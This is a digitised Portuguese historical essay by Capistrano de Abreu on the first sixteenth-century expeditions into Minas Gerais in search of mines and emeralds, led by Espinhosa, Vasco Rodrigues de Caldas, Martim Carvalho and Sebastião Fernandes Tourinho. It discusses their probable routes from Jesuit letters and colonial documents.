OS PRIMEIROS  DESCOBRIDORES DE MINAS – Capistrano de Abreu

OS PRIMEIROS DESCOBRIDORES DE MINAS – Capistrano de Abreu

 

OS PRIMEIROS  DESCOBRIDORES DE MINAS*
Capistrano de Abreu

ADVERTÊNCIA **

A ilustrada
Redação da Revista, do Arquivo Mineiro desencavou da saudosa Semana estes
artigos, escritos ainda no século passado. Seu fim único era chamar a atenção
para fatos geralmente descurados, insistir sobre documentos inéditos uns,
outros quase ignorados, mostrar que eram passíveis de interpretação, apresentar
uma interpretação provisória. Saem agora como os publicou a Semana, com
ligeiras modificações de forma apenas. Longe do Rio, não seria fácil revê-los à
vista dos textos originais;  nem seria  necessário ou  útil,   porque seu fim
já foi  preenchido.

Do
mesmo assunto ocupou-se recentemente com maior desenvolvimento e mais completos
conhecimentos topográficos, meu amigo Dr. Orville A. Derby, da comissão
geológica de São Paulo. Os resultados a que chegou são os seguintes:

1.°
A expedição Navarro-Espinhosa, entrou por Caravelas, alcançou as cercanias de
Teófilo Otôni, desceu pelo campestre até a serra do Frio, na Cordilheira do
Espinhaço, que aqui corre de Norte e tem picos de quartzito branco, fáceis de
se confundir com o mármore. Ao Norte de Diamantina, onde um rio Caeté-mirim
conserva talvez a tradição da tribo Catinguçu (Caté guaçu?) acompanhou o vale do
Itacambira e passando para o outro lado chegou ao São Francisco, na barra de
algum rio maior, fronteiro à seção serrana, isto é, o Jequitaí ou o rio das
Velhas. Dos dois rios correntes do lado de cá da serra, o Grande é o
Jequitinhonha, o das Urinas é o Araçuaí1.   Sobre o Monayl não
se manifesta.

2.° A
expedição de Martim Carvalho seguiu o caminho da anterior até Teófilo Otôni ou
Minas Novas; talvez chegasse à serra do Frio no alto Jequitinhonha: tomou pelo
Cricaré ou São Mateus.

 

3.° Provavelmente, Sebastião Fernandes Tourinho fêz
mais de uma expedição. Na primeira entraria pelo Cricaré, descobrindo a lagoa
de Juparaná, e o" trecho do rio Doce, entre esta lagoa e o mar. Na segunda
explorou o rio Doce, seu afluente Sassuí até as cabeceiras nas proximidades da
atual cidade do Serro, e .a secção da serra do Espinhaço, que depois ficou
célebre com o nome de Serra do Frio. As serras de pedra verde entre as quais
andou trinta léguas, poderiam ser as do distrito diamantino, onde de fato se
encontram pedras verdoengas (quartzitos com mica verde) e o mineral lazulito ou
Klaprotina, que facilmente se confunde com a turqueza. Pode-se também
interpretar a expedição como tendo Tourinho subido pelo Urupuca, afluente do
Sassuí em cujas pontas está a lagoa de Água Preta, que ê a Vupabuçu de
Marcos de Azeredo e outros, e descendo pelo rio Itamarandiba até tomar o
Araçuaí. Explorações ao sul do rio Doce duvida Orville Derby que realmente
houvesse, mesmo com os detalhes da tomada do Sol e o reconhecimento da serra
dos Órgãos. O primeiro pode facilmente ser um erro de observação ou um exagero
de quem contou a história, e o segundo é simplesmente impossível para quem
nunca tinha visto a serra dos órgãos, pelo lado de trás. Serras dentadas que de
algum modo se assemelham em aspecto à dos órgãos, abundam em toda a região
explorada, e é de presumir que a que foi assim denominada ficasse bastante
afastada da baía do Rio de Janeiro. Se realmente houve alguma exploração no Sul
do rio Doce, esta provavelmente foi uma entrada pelo rio Manhuaçu acima, até
avistar uma serra que erradamente se identificou com a serra dos Órgãos.

As
dificuldades na interpretação das viagens de Tourinho procedem, como muito bem
diz Derby, de erros ou de omissões nas cópias de Gabriel Soares, cujo original
não é conhecida, no confuso das informações colhidas, e talvez na fusão desta
com a expedição de Adorno, que veio  logo em seguida.

Deixando
a viagem de Adorno para outra ocasião, reúr.o aqui os documentos sobre estes
primeiros tentamens de chegar às terras de Minas Gerais.

Às margens  do  Paraíba,  agosto  de  1 901.

 

* Estudo
reproduzido cia "Revista do Arquivo Público Mineiro", vol. VI, 1
901, e pela primeira vez publicado na gazeta fluminense — "A
Semana",
em 1 887, sob a epígrafe: "Notas para a nossa
História".

**
Advertência
dada como Conclusão na
"Revista do Arquivo Público Mineiro", (vol.   VI,   1  
901).

 

1. A
identificação do rio das Urinas parece inaceitável; do Araçuaí, afluente do
Jequitinhonha, não S"e pode dizer que vai sair ao mar, entre Ilhéus e
Pórto-Seguro.

 

1

Nas Cartas
avulsas dos Jesuítas
(impressas., mas ainda não publicadas, pág. 84),
fala-nos o padre Antônio Blasquez em um Espinhoso, grande língua, que em 1 ‘557 gozava de muita autoridade entre os índios do Brasil.

Quem
era êle ? A que nacionalidade pertencia ? Seu apelido era de família, ou
simples tradução de alcunha dada pelos índios, como Moréia, com que mais tarde
se ataviaram alguns dos descendentes de Caramuru?

Documento
recentemente descoberto permite responder a algumas destas perguntas: uma
carta de mercê, passada por Mem de Sá a 24 de dezembro de 1 560. Fala-se aí em Francisco Bruza de Espinhosa, "castelhano, grande língua e homem de bem e de verdade e
de grandes espíritos". Na verdade, Espinhosa e Espinhoso não são
exatamente o mesmo nome; mas da carta de Antônio Blasquez, como da de Mem de
Sá, temos apenas cópias; a diferença de uma letra não milita, pois, contra a
identificação, a favor da qual, como se verá, há muitos argumentos.

Segundo
o documento a que me refiro, Francisco Bruza de Espinhosa ofereceu-se a Tomé de
Sousa para penetrar pelo sertão em procura de minas. Mais de uma vez lhe
recomendara D. João III esta empresa, de que o Governador tanto se preocupara
que, em julho de 1551, quando Nóbrega foi para Pernambuco, já conseguira dêste
promessa de um padre para acompanhar a gente que fosse descobrir ouro2.
Por isso a proposta de Espinhosa foi aceita; mas era nos últimos tempos de Tomé
de Sousa, e a empresa só chegou a realizar-se no governo de Duarte da Costa,
iniciado a 13 de julho de 1 553.

 

2. O
governador Tome de Sousa me pediu um Padre para ir com certa gente que
Vossa Alteza manda a descobrir ouro ; eu lhe prometi, porque também nos releva
descobri-lo para o tesouro de Jesus Cristo nosso Senhor, e ser coisa do
que tanto proveito resultará a glória do mesmo Senhor o bem a todo o Reino e
consolação a Vossa- Alteza e porque há muitas novas dele e parecem certas e
parece-ma  que  irão   (Nóbrega,   ed.  
Valle  Cabral,   pág-s.   92-93).

 

 

As
condições propostas eram que ouro, prata, aljôfar e pedras  preciosas  e
quaisquer  outros metais  que descobrissem fossem "o que trouxessem em saldo para eles e
para seus filhos, herdeiros, ou para os que eles quisessem dar e deixar, sem
das ditas coisas pagarem dízimos, sisa, quarto, quinto, nem outro nem um
direito por qualquer outro nome que seja chamado ou denominado."

Partindo
para a expedição com doze companheiros, Espinhosa "achou muitas
informações de haver entre o gentio ouro e prata, ‘e não foi mais pela terra
dentro que duzentas e tantas léguas e não acabou de descobrir."

É
isto o que se contém na carta de mercê de Mem de Sá com referência a Espinhosa;
mas, aproximada de uma carta do padre João de Aspilcueta Navarro3, o
fato aparece a nova luz. O padre Navarro refere-se a uma entrada que fêz ao
sertão nos primeiros tempos de Duarte da Costa (pois a 24 de junho de 1 555 já
passava de ano e meio) com doze portugueses, e em que andou pela terra 350
léguas. Como se vê. exceto no número das léguas, aliás sem importância para o
caso porque nem Espinhosa nem Navarro fizeram mais que as estimar
arbitrariamente, a identidade parece completa entre as duas expedições.

Para
que completa seja realmente, é preciso, porém, outra condição. Navarro partiu
para Porto Seguro em março de 1 552 e só tornou à Bahia em fins de 1 555 ou
começo de 1 556; a entrada em que tomou parte deve ter saído, portanto, de
Porto Seguro. Partiria igualmente daí a de Espinhosa? A presença deste na Bahia
em 1 557 não é argumento em contrário, porque também Navarro estava na Bahia;
mas isto seria simples presunção. Há documento, felizmente, que permite
afirmá-lo.

É sabido
que em fins de 1 552 ou princípio de 1 553, Tomé de Sousa saiu da Bahia com
Manuel da Nóbrega, Pero de Góis, Antônio Cardoso de Barros e outros a visitar a
capitania do Sul. Em uma coleção de ordem de pagamento do tempo, que existia na
tesouraria da fazenda da Bahia e hoje está na Biblioteca Nacional, encontra-se
sob número de 1 262:

"A 8
de março de 1 553, passou o Provedor-Mor (A. C. de Barros) dois mandados para
Pero de Pinna, feitor da Capitania de Porto Seguro, que desse ao Espinhosa
emegero (?) castelhano, na dita Capitania morador, todo o resgate que houvesse
mister para ir pelo sertão a descobrir por mandado do Governador Tomé de
Sousa…"

 

3.    Traduzida na  História  Geral de
Varnhagen,  l-a  ed.  vol.  I. págs.  
406-462.

 

Na
mesma coleção de ordens encontra-se ainda adiante o seguinte que provavelmente
se relaciona com o nosso Espinhosa:

"A
doze do dito mês (junho de 1 552) passou o Provedor-Mor mandado para o dito
Tesoureiro (João de Araújo) que entregasse a Pero de Pinna feitor e almoxarife
de Porto Seguro, os resgates e mercadorias seguintes: quarenta e cinco
côvados e três quartos de pano vermelho de trezentos e cincoenta réis o côvado,
quarenta dúzias de tesouras de duzentas e quarenta réis a dúzia, vinte maços de
mata-mundo de cem réis o maço, trinta dúzias de pente de dez a real, trinta
milheiros de três a real, quarenta milheiros de quatro a real, doze chapéus de
cento e quarenta réis o chapéu, três barris de pau para ir o dito
resgate…"

Não há,
pois, motivo algum que o Espinhoso de Blasquez é o Espinhosa de Mem de Sá, e
que é sua expedição a descrita na carta do padre Aspilcueta Navarro. Por meio
desta, pode-se até certo ponto determinar o roteiro da entrada ao sertão.

Partiram
de Porto Seguro, e, como em país desconhecido seguir um rio é meio de não se
perder, provavelmente foram seguindo algum. Navarro fala-nos tantas vezes no
Grande, atualmente conhecido pelo nome de Jequitinhonha, que bem pode dizer-se
que os expedicionários o foram margeando. Depois de muito andar, chegaram a uma
serra onde estão as cabeceiras deste e de um outro chamado das Ourinas (Pardo?
afluente do Jequitinhonha?). Esta serra corre de norte para sul, e deve ser
uma das conhecidas pelo nome de Almas, Grão Mogol e Itacambira. Daí partiram e
foram ter a um rio muito caudal, chamado Pará, que segundo os índios lhes
informaram, era o de São Francisco, ou mais provavelmente o rio das Velhas.
Foi, portanto, para o distrito em que mais tarde se tornaram tão célebres as
minas de Diamantina, do Serro, de Araçuaí e outras que se encaminhou a
expedição.

E
que viagem! "Sempre por caminhos pouco descobertos, diz Navarro, por
serras mui fragosas que não têm conta e tantos rios que em partes, no espaço de
quatro ou cinco léguas, passamos cincoenta vezes contadas por água, e muitas
vezes, se me não socorreram, me houvera afogado. Mais de três meses fomos por
terras mui húmidas e frias por causa dos muitos arvoredos e das árvores mui
grossas e altas, de folha que sempre está verde. Chovia muitas vezes, e muitas
noites dormíamos molhados, especialmente em lugares despovoados e assim todos
em cuja companhia eu ia, estiveram quase a morte de enfermidades, uns nas
aldeias, outros em despovoados, e sem ter outra medicina que sangrar-se de pé,
forçando a necessidade a caminhar."

A carta de
mercê de Mem de Sá, de 24 de dezembro de 1 560, foi passada em favor de D.
Vasco Rodrigo (sic) de Caldas. Era este homem notável, habitava a cidade do
Salvador havia muitos anos, e distinguira-se muito nas guerras que em tempo do
mesmo Governador houve contra os índios. No ano de 1 552 serviu de vereador da
Câmara da cidade.

Ofereceu-se ao Governador para levar avante a empresa
iniciada por Espinhosa, e, como um dos motivos a que se atribuía o malogro
daquele era a pouca gente que levara, comprometeu-se ele a levar cem homens. O
seu oferecimento foi aceito nas mesmas condições que tinham sido concedidas a
Espinhosa. Era-lhe além disso recomendado que não saisse em outro lugar que o
Brasil (o que indica a crença na proximidade imediata de possessões
espanholas), e que fizesse um roteiro da jornada.

Chegou
esta a realizar-se? É o que não diz o documento de Mem de Sá, mas o que por
casualidade nos informa o padre Leonardo do Vale em uma das Cartas avulsas
dos Jesuítas,
escrita da Bahia a 26 de junho de 1 562.

Leonardo do
Vale fala de uma entrada com atoardas de ouro, feita no ano anterior. Quem a
dirigiu não nos diz êle, que designa o capitão simplesmente como "um dos
honrados da terra". Sabendo-se, porém, que Vasco Rodrigues de Caldas obtivera
a licença nos últimos dias de 1560, no tempo do Natal e das festas que se lhe
seguem, não é de admitir que êle fizesse a entrada senão em 1 561, o que está
de acordo com a data do padre Leonardo.

Nem é de
crer que o Governador desse ao mesmo tempo licença igual a pessoa diversa,
quando Vasco Rodrigues de Caldas tantos serviços prestara à sua administração,
e já devia ter feito os amplos preparativos que necessitava o sustento dos cem
homens com que planejava o cometimento. Não hesito, pois, em identificar o
homem honrado do padre Leonardo com o caudilho de Mem de Sá.

Também a
sua tentativa não surtiu efeito. Êle seguiu pelo rio Paraguaçu, mas não
penetrou mais de 60 ou 70 léguas pelo sertão. Aí apareceram os índios
Tupinaens, os antigos moradores da Bahia quando os Tupinambás ainda não a
tinham senhoreado, e obrigaram a expedição a tornar.

Entre
os índios ficou um crucifixo de que Leonardo do Vale consta de um documento
publicado por Vale Cabral (Nobre para os seus lhe quebrarem a cabeça a seu modo
e subitamente caíram mortas. E irando-se alguns mancebos valentes disso,
tomaram seus arcos e flechas para às flechadas o matarem e querendo o pôr por
obra, aconteceu o mesmo que às outras."

Depois
do desbarato de sua empresa, Vasco Rodrigues de Caldas, se foi êle como parece,
fêz uma viagem ao reino, como consta de um documento publicado por Valle
Cabral. (Nóbrega, Cartas do Brasil, pág. 182).

São estas,
pois, as duas mais antigas entradas em busca de minas que se deram no Brasil.
Ambas eram desconhecidas, em suas particularidades, e continuariam
provavelmente a sê-lo sem as cartas de Mem de Sá e dos Jesuítas.

 

2

Pero
Magalhães de Gandavo publicou em Lisboa em 1 576 uma História da província
Santa Cruz a que vulgarmente chamamos Brasil.
Dedicou-a a D. Leonis
Pereira, governador que fora de Malaca. Luís de Camões juntou-lhe uma elegia
para introdução. E sendo este o primeiro livro em Portugal impresso sobre o
assunto, foi muito lido, algumas idéias nele apresentadas pela primeira vez
passaram a outras obras, e a História tornou-se tão rara por fim que,
da primeira edição, se conhecem apenas dois exemplares, um dos quais em nossa Biblioteca Nacional.

Antes da História,
por 1 568, escreveu êle um Tratado da terra do Brasil só vulgarizado
mais tarde, em 1 826, na Coleção de notícias para a história e geografia das
nações ultramarinas.
É dedicado ao cardeal D. Henrique, e no prólogo
assegura-nos o autor que, nos dias passados, oferecera outro a D. Sebastião.

Não se
conhece este; mas em compensação possuímos um de que antes não havia notícia. É
dedicado à rainha D. Catarina, existe manuscrito e anônimo em Londres, no British
Museum,
e daí, graças ao zelo e dedicação incansável do Sr. Conselheiro
Silva Paranhos (o benemérito Barão do Rio Branco), veio uma cópia para esta
Corte.

A
comparação entre o trabalho dedicado a D. Henrique e o dedicado a D.a

Catarina mostra que as duas obras são exatamente a mesma. A cópia de Londres,
é, porém, mais fiel e apresenta algumas variantes apreciáveis. Para qualquer
reimpressão deve ser preferida à que serviu para a edição de Lisboa de 1 826.
Provavelmente o livro dedicado a D. Sebastião não passava de outra cópia com
ligeiras variantes, e a sua perda não é desfalque para nossa literatura
histórica.

Mas
em um ponto a edição de Lisboa leva grande vantagem à cópia de Londres: contém
um capítulo, o último, que faltava inteiramente nesta. Como explicar esta
omissão? Não é porque o assunto fosse menos interessante que os que ocupam
outras páginas; veremos o contrário. Talvez o motivo fosse
que o fato a que se refere o autor chegou a seu, conhecimento no intervalo
entre a apresentação da cópia a D. Catarina e a apresentação da cópia a D.
Henrique. É por isso que vem na última página, como acréscimo de última hora.

O fato que Magalhães de Gandavo narra é o seguinte:

Chegaram a
Porto Seguro uns índios do sertão a dar novas de certas pedras verdes que
existiam numa serra alongada para o interior. Trouxeram consigo algumas, que
foram reconhecidas como esmeraldas, mas não de muito preço. Sabendo disto os
habitantes da capitania, reuniram-se em número de cinqüenta a sessenta e,
acompanhados de alguns índios, penetraram pelo sertão. Ia por chefe um Martim
Carvalho, que depois se mudou para Bahia (talvez o senhor de engenho dev
que fala G. Soares à pág. 137) e, com ele andaram umas duzentas e trinta
léguas, por espaço de oito meses. Passaram muitas serranias de cristal, outras
de terra azulada em que se desconfia haver ouro, até que num riacho encontraram
alguns grãos miúdos, amarelos, muito pesados, que apalpados nos dentes se
acharam brandos mas não se desfaziam. Apanharam deles um punhado, julgando que
fosse o precioso metal e seguiram para adiante; mas a falta de mantimentos, o
receio dos inimigos, as doenças que assolavam a gente exigiram a volta, e eles
tornaram-se outra vez em alma dias por um rio que se chamava Cricaré, onde se
perdeu numa cachoeira a canoa em que vinham os supostos grãos de ouro que
traziam para mostras.

É o
que diz Gandavo no capítulo IX
da segunda parte de seu Tratado.

Se as
considerações antes formuladas têm algum fundamento, a expedição deve ter tido
lugar antes de 1 567 ou 1 568. É portanto esta a terceira expedição conhecida
que do Este do Brasil penetrou no sertão à cata de minas. Tem alguns pontos de
contato com a de Espinhosa, mas parece ter ido mais para o Sul, pois desceu
pelo Cricaré, atualmente chamado rio de São Mateus.

Ainda
de Porto Seguro partiram duas expedições comandadas por Sebastião Fernandes
Tourinho, parente dos donatários da capitania. Apenas se sabe que são
anteriores a Luís de Brito e Almeida, que chegou ao Brasil em 1 573. E devem
ser posteriores à de Martim Carvalho senão Gandavo as teria mencionado de
preferência, pela posição social do agente. De ambas dá razão Gabriel Soares {Tratado
descritivo do Brasil,
págs. 60, 61, 69 e 70, da edição de 1 851), seu
contemporâneo, que passamos a aproveitar.

Como
êle não nos diz qual das duas expedições se realizou primeiro, e narra uma a
propósito do Jequitinhonha e outra a propósito do rio Doce, segui-lo-ei por
agora, deixando para depois examinar em que ordem cronológica sucederam.

Sebastião
Fernandes Tourinho, diz-nos êle em resumo, morador de Porto Seguro, entrou
pelo sertão com alguns companheiros e andou por êle alguns meses à ventura sem
saber por onde caminhavam, até que chegaram em direito do Rio de Janeiro, como
conheceram pela altura do sol e pela serra dos Órgãos. Retrocedendo, chegaram
a um campo grande onde acharam lagoas e riachos que corriam para o rio Grande,
e indo com o rosto ao Noroeste, caminhadas umas trinta léguas por serras de
pedras, tomando a Leste encontraram um rio chamado Razo-Aguipe. Por êle andaram
oitenta léguas ao Norte em canoas, com o rosto até o Grande em que vem
desaguar, e entrados neste vieram ter ao mar, depois de uma navegação de vinte
e quatro dias vindo sempre com a proa ao leste.

Não é
fácil com tão poucos elementos determinar os pontos descritos neste roteiro.
Nele há evidentemente erros, como no lugar em que diz que as canoas chegaram ao
mar navegando com a proa ao leste, isto é, na direção oposta à em que o mar se
acha. Embora Gabriel Soares nos assegure que Sebastião Tourinho sabia muito bem
tomar a altura do sol, não abona muito a sua ciência o fato de êle ter chegado
ao Rio de Janeiro, sem o sentir. Mas há um ponto que nos auxilia nesta
investigação: o rio Razo-Aguipe.                                                  

A
que rio corresponde este? Varnhagen nos comentários com que adornou o Tratado
de Gabriel Soares, na edição publicada às expensas do Instituto Histórico,
nada diz a tal respeito, nem também nas duas edições da sua História Geral. Nem,
depois dele, se ocupou alguém com este ponto. Pode-se, portanto, permitir uma
hipótese que quem mais tarde e com melhores documentos estudar o mesmo
assunto, retificará facilmente.

Comecemos
por tirar da palavra Razo-Aguipe a última sílaba, -pe, que é uma
posposição da língua geral, significando em.

É muito
usada nos rios do Norte, mas para o Sul é menos, como vemos em Jaguaripe na
Bahia e Jaguari em Minas Gerais. Notemos em seguida que o Z não é som tupi e
que deve estar em lugar do S, o qual por estar isolado no manuscrito, sujeitaram
à lei da prosódia portuguesa. Lembremos ainda que o R em tupi é sempre brando,
qualquer que seja a posição que ocupe, e que em português é sempre forte no
princípio das palavras: daí o fato interessante de os brasileiros
juntarem-lhes um A inicial para, pondo o R entre duas vogais, conservarem-lhe o
som primitivo: é o que se vê em Araripe, por exemplo, cuja forma antiga
é Rari, como se lê num documento conservado em Purchas. Com todas as alterações que procuramos restituir temos que o rio deve chamar-se
Araso-Agui.

Se, por
fim, notarmos que a forma antiga de Piauí era Piaugui, e muitos fatos
congêneres poderíamos invocar, temos um precedente que, juntos a outros,
permite afirmar que, lingüisticamente, o Razo-Aquipe de Gabriel Soares é o
Araçuaí, dos novos mapas.

Geograficamente
não há obstáculo a esta identificação, porque aquele era um afluente do
Jequitínhonha exatamente como este. É pena que os nossos mapas da zona
percorrida sejam em tão pequena escala e as indicações de Gabriel Soares tão
tênues que se não possa levar mais adiante a identificação. Mas deixemo-la
assentada aqui porque depois há de servir.

Na segunda
expedição, Sebastião Tourinho subiu o rio Doce, até um seu afluente chamado
Mandi, nome que os viajantes e mapas modernos converteram em Guandu. Entrando nele e desembarcando com sua gente, seguiu por terra umas vinte léguas em
rumo de O.S.O. até uma lagoa donde sai um rio em rumo de E., que perlongaram
por mais de 30 léguas; depois caminharam umas setenta léguas, durante quarenta
dias, em rumo de Oeste, até chegar no rio Doce novamente. Neste rio fizeram1
canoas de cascas e foram-no subindo até um seu afluente chamado Aceci,
pelo qual entraram quatro léguas e desembarcando caminharam em rumo de NO onze
dias, e atravessaram o Aceci, e andaram muitas léguas, descobrindo afinal as
pedras verdoengas, azuis etc.

No
meio destas indicações e contra-indicações, fielmente resumidas de Gabriel
Soares, é impossível uma pessoa entender-se. Há quem identifique o Aceci com o
Suaçuí e há quem o identifique com o Santo Antônio. Com o. mesma razão
poderia indentificar-se com outros. Para nós importam apenas os três seguintes
fatos: primeiro, que Sebastião Tourinho com os companheiros navegou o rio Doce
até onde suas margens são elevadas, mas onde as cachoeiras não lhe obstruem
ainda o leito; segundo que, portanto, o Mandi de Gabriel Soares é o Mandu dos
geógrafos posteriores, ultimamente convertido em Guandu; terceiro que, depois
de margear este e outros rios eles vieram sair novamente no Doce, em região
navegável, em que não se fala de cachoeiras, portanto junto ao Cuité.

 

Só daí seguiram para o Norte, isto é, para a
margem esquerda do rio Doce, onde afinal encontraram as pedras que procuravam.
E digo que o rio Aceci fica na margem esquerda do rio Doce, porque, segundo
Gabriel Soares informa, a viagem de Antônio Dias Adorno foi feita pelas
indicações fornecidas por Tourinho, e Dias Adorno entrou no sertão pelo rio das
Caravelas, isto é, procurando o Norte do rio Doce.

Expostos os
fatos e sabido que foram anteriores a 1573, vejamos qual das duas expedições é
cronologicamente a primeira, — se a da volta pelo Jequitinhonha, se a da
subida pelo Doce.

 

3

O Tratado de Gandavo refere-se à
fundação do colégio dos

Jesuítas no Rio de
Janeiro, iniciada em 1 567; é-lhe, portanto, posterior. A entrada de Martim
Carvalho deve ter sido antes, não só porque Gandavo já a dá por terminada, como
por dizer que o chefe se mudara para a Bahia, o que pressupõe certo prazo entre
os dois fatos. Que tal prazo efetivamente interveio leva-nos a concluir o
silêncio de Gabriel Soares. Chegando à Bahia por 1 567, êle teria mencionado o
feito se tivesse ocorrido em seu tempo, como fêz a propósito de Sebastião
Fernandes Tourinho e Antônio Dias Adorno.

Poder-se-á
perguntar se a entrada de Martim Carvalho não coincidiu com alguma das de
Tourinho? À primeira vista assim parece, porém, exame mais detido revela
particularidades que não permitem identificá-las.

Bem
estudada, a facção de Martim Carvalho reveste dois característicos: primeiro,
que não foram encontradas as pedras verdes, a cuja procura partiu a expedição;
segundo, que a volta foi pelo rio Cricaré.

Ora,
Tourinho em uma das suas expedições, não encontrou as pedras verdes, mas nesta
fêz a volta pelo Jequitinhonha. Em outra não se dizendo por onde tornou, deve
ter sido, senão pelo Cricaré, ao menos por algum dos rios concorrentes;
infelizmente para a hipótese, desta vez êle descobriu as pedras verdes. Portanto
a identificação é impossível.

Antes de
saber qual das duas entradas de Sebastião Fernandes Tourinho foi a primeira,
conviria talvez discutir a afirmativa de Varnhagen, que reduz as duas entradas
a uma só. Apesar de seu grande peso, esta afirmativa não importa ao caso: em
primeiro lugar, porque o autor não a fundamenta e pode ser antes um descuido
que uma convicção; em segundo lugar, porque o exame do texto de Gabriel Soares,
único documento de que êle e nós dispomos, torna bem claro que é impossível
reduzir a viagem que só teve por teatro a bacia do rio Doce à que se
estendeu até o Rio de Janeiro.

Qual teria, pois, sido a primeira das duas expedições
?

Note-se o
seguinte: em uma, Tourinho anda à ventura pelo sertão, sem saber onde se acha,
até chegar à serra dos órgãos que não procurava, tanto que apenas a avistou,
imediatamente se retirou para o Norte; em outra, êle não saí da bacia do rio
Doce: penetra um pouco para o Sul e para Oeste, mas depois torna de novo ao
rio, passa a sua margem esquerda, circunscrevendo o seu campo de ação.

Não é
evidente que em um caso se trata de uma viagem empreendida sobre informações
vagas, por quem não adquirira ainda a experiência do sertão, ou não entendera
as explicações pouco precisas de seus guias; em outro, por quem já adquirira
experiência e sentira limitado o campo de exploração? A viagem do
Jequitinhonha deve, pois, ter sido a primeira.

Circunstância
notável da narrativa de Gabriel Soares, é que de uma viagem êle diz por onde
voltaram, de outra diz apenas por onde partiram. Talvez que as seguintes
considerações supram até certo ponto esta lacuna.

Na
primeira viagem foi ponto de partida para Tourinho a capitania de Porto Seguro,
donde já o tinham precedido Espinhosa e Carvalho. É muito natural pois que o
caminho preferido fosse o Jequitinhonha.

Se Tourinho
o tivesse seguido fielmente como era costume, não se teria perdido, porque não
há fio de Ariadne comparável a um rio; por conseguinte a sua marcha à ventura
deixa concluir que êle se apartou deste caminho natural, talvez nas zonas em
que as cachoeiras amiudadas tornavam difícil a navegação. Daí êle foi marchando
talvez à procura do rio São Francisco, cuja bacia percorreu por grande espaço
para o Sul até chegar a algum afluente do Paraíba, nascido da Mantiqueira, que
o levasse à vista da serra dos Órgãos.

Pode-se,
portanto, caracterizar esta viagem como a mais ocidental.

A
admitir-se a sugestão aqui apresentada, compreende-se o motivo por que
Sebastião Tourinho escolheu na segunda viagem o rio Doce por ponto de partida.
Não devia ser agradável para quem gozava da fama de saber muito bem marcar a
altura do sol, andar largos meses pelo sertão, não achar as pedras a cuja
procura entrara, transviar-se até chegar ao Rio de Janeiro, e depois de tantos
esforços conseguir apenas voltar por um afluente ao mesmo rio por que subira.

Quanto à segunda viagem, conhece-se a ida; a volta
pode-se até certo ponto calcular. Sabemos que o rio Aceci (Suaçuí) ficava na
margem esquerda do ‘Doce, que já deviam ser familiares a Tourinho as cercanias
do Araçuai que lhe ficavam próximas; que a serra das Esmeraldas é um dos
bracejos da dos Aimorés; que Tourinho encontrou as esmeraldas. Portanto o seu
roteiro deve ter sido por qualquer dos rios que manam daí. Qual? Não é possível
dizer com precisão; mas o fato de êle ter indicado o rio das Caravelas a
Antônio Dias Adorno como o melhor ponto de penetrar no local das pedras verdes,
o fato de Antônio Dias Adorno havê-las descoberto novamente, inclinam a crer
que o rio preferido não ficava muito longe deste.

 

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